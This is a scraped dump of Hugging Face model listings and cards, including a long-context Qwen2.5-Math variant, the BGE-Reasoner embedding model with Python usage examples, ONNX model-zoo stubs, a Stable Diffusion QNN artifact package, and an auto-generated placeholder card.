| 1.0148 | 10.0671 | 1500 | 0.2645 | 0.0747 |
| 1.122 | 10.7383 | 1600 | 0.2651 | 0.0743 |
| 1.0656 | 11.4094 | 1700 | 0.2630 | 0.0735 |
| 1.0914 | 12.0805 | 1800 | 0.2640 | 0.0739 |
| 1.1008 | 12.7517 | 1900 | 0.2635 | 0.0742 |
| 1.0479 | 13.4228 | 2000 | 0.2637 | 0.0745 |
### Framework versions
- Transformers 4.53.0.dev0
- Pytorch 2.6.0+cu124
- Datasets 3.6.0
- Tokenizers 0.21.0
|
starriver030515/Qwen2.5-Math-1.5B-16k
|
starriver030515
| 2025-09-23T14:29:08Z | 10 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2",
"text-generation",
"conversational",
"arxiv:2509.16591",
"license:mit",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-17T07:10:05Z |
---
license: mit
library_name: transformers
pipeline_tag: text-generation
---
The base Qwen2.5-Math-1.5B model used by HAPO.
We change to rope_theta from 10000 to 40000 and extend the context window to 16k.
Also, we modify the chat_template for the system prompt and add <think>.
# Citation
If you find our model, data, or evaluation code useful, please kindly cite our paper:
```bib
@misc{liu2025uniformheterogeneoustailoringpolicy,
title={From Uniform to Heterogeneous: Tailoring Policy Optimization to Every Token's Nature},
author={Zheng Liu and Mengjie Liu and Siwei Wen and Mengzhang Cai and Bin Cui and Conghui He and Wentao Zhang},
year={2025},
eprint={2509.16591},
archivePrefix={arXiv},
primaryClass={cs.CL},
url={https://arxiv.org/abs/2509.16591},
}
```
|
BAAI/bge-reasoner-embed-qwen3-8b-0923
|
BAAI
| 2025-09-23T14:28:48Z | 15 | 7 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"feature-extraction",
"sentence-similarity",
"license:apache-2.0",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
feature-extraction
| 2025-09-22T18:16:38Z |
---
tags:
- feature-extraction
- sentence-similarity
- transformers
license: apache-2.0
---
<h1 align="center">BGE-Reasoner-Embed</h1>
For more details please refer to our Github: [BGE-Reasoner](https://github.com/FlagOpen/FlagEmbedding/tree/master/research/BGE_Reasoner).
**BGE-Reasoner-Embed-Qwen3-8B-0923** is an embedding model trained for reasoning-intensive retrieval tasks, based on [Qwen/Qwen3-8B](https://huggingface.co/Qwen/Qwen3-8B). It achieves an nDCG@10 of 37.1 on the [BRIGHT](https://brightbenchmark.github.io/) benchmark with original query, demonstrating its strong capability in reasoning-intensive retrieval tasks.
The search results on BRIGHT are available [here](https://huggingface.co/BAAI/bge-reasoner-embed-qwen3-8b-0923/tree/main/search_results).
## Usage
### Using FlagEmbedding
```
git clone https://github.com/FlagOpen/FlagEmbedding.git
cd FlagEmbedding
pip install -e .
```
```python
from FlagEmbedding import FlagLLMModel
queries = [
# taken from BRIGHT TheoT dataset, qid: examples-TheoremQA_wenhuchen/eigen_value1.json
"Imagine you have a magical box that transforms any object you put inside it, where the object is represented by the column vector x = (x_1, x_2). The box's transformation can be represented by the matrix A = [[5, 4], [1, 2]], so when given an object x, the box outputs the new object Ax. On some special objects, this new object is just a constant multiple of the original object, λx = (λx_1, λx_2). Find both possible values of λ where this occurs — note that these are the box's eigenvalues.",
# taken from BRIGHT TheoT dataset, qid: examples-TheoremQA_maxku/ipnetwork13-hammingdist.json
"Imagine you're comparing three digital images that are extremely simplified down to a grid of 5 pixels each, represented by either black (0) or white (1) pixels. The images are as follows: Image A: 00000, Image B: 10101, and Image C: 01010. By counting the number of pixels that differ between each pair of images, find the smallest number of differing pixels."
]
documents = [
# taken from BRIGHT TheoT dataset, docid: 2723
"\\begin{definition}[Definition:Eigenvector/Linear Operator]\nLet $K$ be a field.\nLet $V$ be a vector space over $K$. \nLet $A : V \\to V$ be a linear operator.\nLet $\\lambda \\in K$ be an eigenvalue of $A$.\nA non-zero vector $v \\in V$ is an '''eigenvector corresponding to $\\lambda$''' {{iff}}:\n:$v \\in \\map \\ker {A - \\lambda I}$\nwhere: \n:$I : V \\to V$ is the identity mapping on $V$\n:$\\map \\ker {A - \\lambda I}$ denotes the kernel of $A - \\lambda I$.\nThat is, {{iff}}: \n:$A v = \\lambda v$\n\\end{definition}",
# taken from BRIGHT TheoT dataset, docid: 14101
"\\section{Error Correction Capability of Linear Code}\nTags: Linear Codes\n\n\\begin{theorem}\nLet $C$ be a linear code.\nLet $C$ have a minimum distance $d$.\nThen $C$ corrects $e$ transmission errors for all $e$ such that $2 e + 1 \\le d$.\n\\end{theorem}\n\n\\begin{proof}\nLet $C$ be a linear code whose master code is $V$.\nLet $c \\in C$ be a transmitted codeword.\nLet $v$ be the received word from $c$.\nBy definition, $v$ is an element of $V$.\nLet $v$ have a distance $e$ from $c$, where $2 e + 1 \\le d$.\nThus there have been $e$ transmission errors.\n{{AimForCont}} $c_1$ is a codeword of $C$, distinct from $c$, such that $\\map d {v, c_1} \\le e$.\nThen:\n{{begin-eqn}}\n{{eqn | l = \\map d {c, c_1}\n | o = \\le\n | r = \\map d {c, v} + \\map d {v, c_1}\n | c = \n}}\n{{eqn | o = \\le\n | r = e + e\n | c = \n}}\n{{eqn | o = <\n | r = d\n | c = \n}}\n{{end-eqn}}\nSo $c_1$ has a distance from $c$ less than $d$.\nBut $C$ has a minimum distance $d$.\nThus $c_1$ cannot be a codeword of $C$.\nFrom this contradiction it follows that there is no codeword of $C$ closer to $v$ than $c$.\nHence there is a unique codeword of $C$ which has the smallest distance from $v$.\nHence it can be understood that $C$ has corrected the transmission errors of $v$.\n{{Qed}}\n\\end{proof}\n\n"
]
model = FlagLLMModel("BAAI/bge-reasoner-embed-qwen3-8b-0923",
query_instruction_for_retrieval="Given a Math problem, retrieve relevant theorems that help answer the problem.",
query_instruction_format="Instruct: {}\nQuery: {}",
devices="cuda:0", # set devices to "cuda:0" for testing on a single GPU
use_fp16=True) # Setting use_fp16 to True speeds up computation with a slight performance degradation
embeddings_1 = model.encode_queries(queries)
embeddings_2 = model.encode_corpus(documents)
similarity = embeddings_1 @ embeddings_2.T
print(similarity)
# [[0.8228 0.5386]
# [0.575 0.6533]]
```
### Using HuggingFace Transformers
```python
import torch
import torch.nn.functional as F
from torch import Tensor
from transformers import AutoTokenizer, AutoModel
def last_token_pool(last_hidden_states: Tensor,
attention_mask: Tensor) -> Tensor:
left_padding = (attention_mask[:, -1].sum() == attention_mask.shape[0])
if left_padding:
return last_hidden_states[:, -1]
else:
sequence_lengths = attention_mask.sum(dim=1) - 1
batch_size = last_hidden_states.shape[0]
return last_hidden_states[torch.arange(batch_size, device=last_hidden_states.device), sequence_lengths]
def get_detailed_instruct(task_description: str, query: str) -> str:
return f'Instruct: {task_description}\nQuery: {query}'
def tokenize_texts(tokenizer, texts, max_length: int, device: str):
batch_dict = tokenizer(texts, max_length=max_length, padding=True, truncation=True, return_tensors='pt', pad_to_multiple_of=8)
batch_dict = {k: v.to(device) for k, v in batch_dict.items()}
return batch_dict
task = 'Given a Math problem, retrieve relevant theorems that help answer the problem.'
queries = [
# taken from BRIGHT TheoT dataset, qid: examples-TheoremQA_wenhuchen/eigen_value1.json
"Imagine you have a magical box that transforms any object you put inside it, where the object is represented by the column vector x = (x_1, x_2). The box's transformation can be represented by the matrix A = [[5, 4], [1, 2]], so when given an object x, the box outputs the new object Ax. On some special objects, this new object is just a constant multiple of the original object, λx = (λx_1, λx_2). Find both possible values of λ where this occurs — note that these are the box's eigenvalues.",
# taken from BRIGHT TheoT dataset, qid: examples-TheoremQA_maxku/ipnetwork13-hammingdist.json
"Imagine you're comparing three digital images that are extremely simplified down to a grid of 5 pixels each, represented by either black (0) or white (1) pixels. The images are as follows: Image A: 00000, Image B: 10101, and Image C: 01010. By counting the number of pixels that differ between each pair of images, find the smallest number of differing pixels."
]
queries = [get_detailed_instruct(task, q) for q in queries]
documents = [
# taken from BRIGHT TheoT dataset, docid: 2723
"\\begin{definition}[Definition:Eigenvector/Linear Operator]\nLet $K$ be a field.\nLet $V$ be a vector space over $K$. \nLet $A : V \\to V$ be a linear operator.\nLet $\\lambda \\in K$ be an eigenvalue of $A$.\nA non-zero vector $v \\in V$ is an '''eigenvector corresponding to $\\lambda$''' {{iff}}:\n:$v \\in \\map \\ker {A - \\lambda I}$\nwhere: \n:$I : V \\to V$ is the identity mapping on $V$\n:$\\map \\ker {A - \\lambda I}$ denotes the kernel of $A - \\lambda I$.\nThat is, {{iff}}: \n:$A v = \\lambda v$\n\\end{definition}",
# taken from BRIGHT TheoT dataset, docid: 14101
"\\section{Error Correction Capability of Linear Code}\nTags: Linear Codes\n\n\\begin{theorem}\nLet $C$ be a linear code.\nLet $C$ have a minimum distance $d$.\nThen $C$ corrects $e$ transmission errors for all $e$ such that $2 e + 1 \\le d$.\n\\end{theorem}\n\n\\begin{proof}\nLet $C$ be a linear code whose master code is $V$.\nLet $c \\in C$ be a transmitted codeword.\nLet $v$ be the received word from $c$.\nBy definition, $v$ is an element of $V$.\nLet $v$ have a distance $e$ from $c$, where $2 e + 1 \\le d$.\nThus there have been $e$ transmission errors.\n{{AimForCont}} $c_1$ is a codeword of $C$, distinct from $c$, such that $\\map d {v, c_1} \\le e$.\nThen:\n{{begin-eqn}}\n{{eqn | l = \\map d {c, c_1}\n | o = \\le\n | r = \\map d {c, v} + \\map d {v, c_1}\n | c = \n}}\n{{eqn | o = \\le\n | r = e + e\n | c = \n}}\n{{eqn | o = <\n | r = d\n | c = \n}}\n{{end-eqn}}\nSo $c_1$ has a distance from $c$ less than $d$.\nBut $C$ has a minimum distance $d$.\nThus $c_1$ cannot be a codeword of $C$.\nFrom this contradiction it follows that there is no codeword of $C$ closer to $v$ than $c$.\nHence there is a unique codeword of $C$ which has the smallest distance from $v$.\nHence it can be understood that $C$ has corrected the transmission errors of $v$.\n{{Qed}}\n\\end{proof}\n\n"
]
tokenizer = AutoTokenizer.from_pretrained("BAAI/bge-reasoner-embed-qwen3-8b-0923")
model = AutoModel.from_pretrained("BAAI/bge-reasoner-embed-qwen3-8b-0923")
model.eval()
device = "cuda:0" # set device to "cuda:0" for testing on a single GPU
model.to(device)
model.half()
max_length = 512
# Tokenize the input texts
query_batch_dict = tokenize_texts(tokenizer, queries, max_length, device)
doc_batch_dict = tokenize_texts(tokenizer, documents, max_length, device)
with torch.no_grad():
query_outputs = model(**query_batch_dict)
query_embeddings = last_token_pool(query_outputs.last_hidden_state, query_batch_dict['attention_mask'])
doc_outputs = model(**doc_batch_dict)
doc_embeddings = last_token_pool(doc_outputs.last_hidden_state, doc_batch_dict['attention_mask'])
# normalize embeddings
query_embeddings = F.normalize(query_embeddings, p=2, dim=1)
doc_embeddings = F.normalize(doc_embeddings, p=2, dim=1)
scores = (query_embeddings @ doc_embeddings.T) * 100
print(scores.cpu().tolist())
# [[82.25, 53.84375], [57.53125, 65.3125]]
```
## Evaluation
BGE-Reasoner-Embed-Qwen3-8B-0923 exhibits strong performance in reasoning-intensive retrieval tasks, as demonstrated by its results (nDCG@10 = 37.1 using original query) on the BRIGHT benchmark.
<img src="./imgs/bright-performance.png" alt="BRIGHT Performance" style="zoom:200%;" />
## Citation
If you find this repository useful, please consider giving a star :star: and citation
```
To be added
```
|
onnxmodelzoo/resnetv2_101_Opset17
|
onnxmodelzoo
| 2025-09-23T14:27:07Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:26:56Z |
---
language: en
license: apache-2.0
model_name: resnetv2_101_Opset17.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetrs420_Opset16
|
onnxmodelzoo
| 2025-09-23T14:25:44Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:25:07Z |
---
language: en
license: apache-2.0
model_name: resnetrs420_Opset16.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetrs200_Opset16
|
onnxmodelzoo
| 2025-09-23T14:22:46Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:22:22Z |
---
language: en
license: apache-2.0
model_name: resnetrs200_Opset16.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetrs152_Opset17
|
onnxmodelzoo
| 2025-09-23T14:22:22Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:22:05Z |
---
language: en
license: apache-2.0
model_name: resnetrs152_Opset17.onnx
tags:
- Computer_Vision
---
|
Mr-J-369/sd-qnn
|
Mr-J-369
| 2025-09-23T14:22:14Z | 0 | 1 | null |
[
"license:apache-2.0",
"region:us"
] | null | 2025-09-15T01:46:50Z |
---
license: apache-2.0
---
# Stable Diffusion — QNN (HTP) Artifacts • SDK 2.37+
This repository hosts **QNN artifacts packaged as ZIP files** for deployment on **LaylaAi** and other apps that support QNN models.
Each `.zip` is self-contained and includes:
- Quantized model binaries (`UNet_Quantized.bin`, `VAEDecoder_Quantized.bin`)
- Required HTP runtime libraries (`libQnnHtp.so`, `libQnnSystem.so`, and multiple `libQnnHtpVXXskel.so` / `libQnnHtpVXXStub.so`)
- Supporting modules (`text_encoder_fp32/`, `time_embedder_fp32/`, `tokenizer/`)
---
## Usage
1. **Download** any `.zip` from this repository.
2. **Extract** it into your device or application’s expected models directory.
3. Load the models in your pipeline or **directly in [LaylaAi](https://www.layla-network.ai)**, which is already compatible with this package structure.
> These artifacts were built with **Qualcomm QNN/QAIRT SDK 2.37+** for the **HTP backend** (FP16).
---
Thank you for the great work done by Qualcomm: https://docs.qualcomm.com/bundle/publicresource/topics/80-63442-50/introduction.html
|
gbatubara/Qwen3-0.6B-Gensyn-Swarm-masked_vigilant_boar
|
gbatubara
| 2025-09-23T12:32:09Z | 187 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"rl-swarm",
"genrl-swarm",
"grpo",
"gensyn",
"I am masked_vigilant_boar",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-14T16:26:05Z |
---
library_name: transformers
tags:
- rl-swarm
- genrl-swarm
- grpo
- gensyn
- I am masked_vigilant_boar
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
Subsets and Splits
Filtered Qwen2.5 Distill Models
Identifies specific configurations of models by filtering cards that contain 'distill', 'qwen2.5', '7b' while excluding certain base models and incorrect model ID patterns, uncovering unique model variants.
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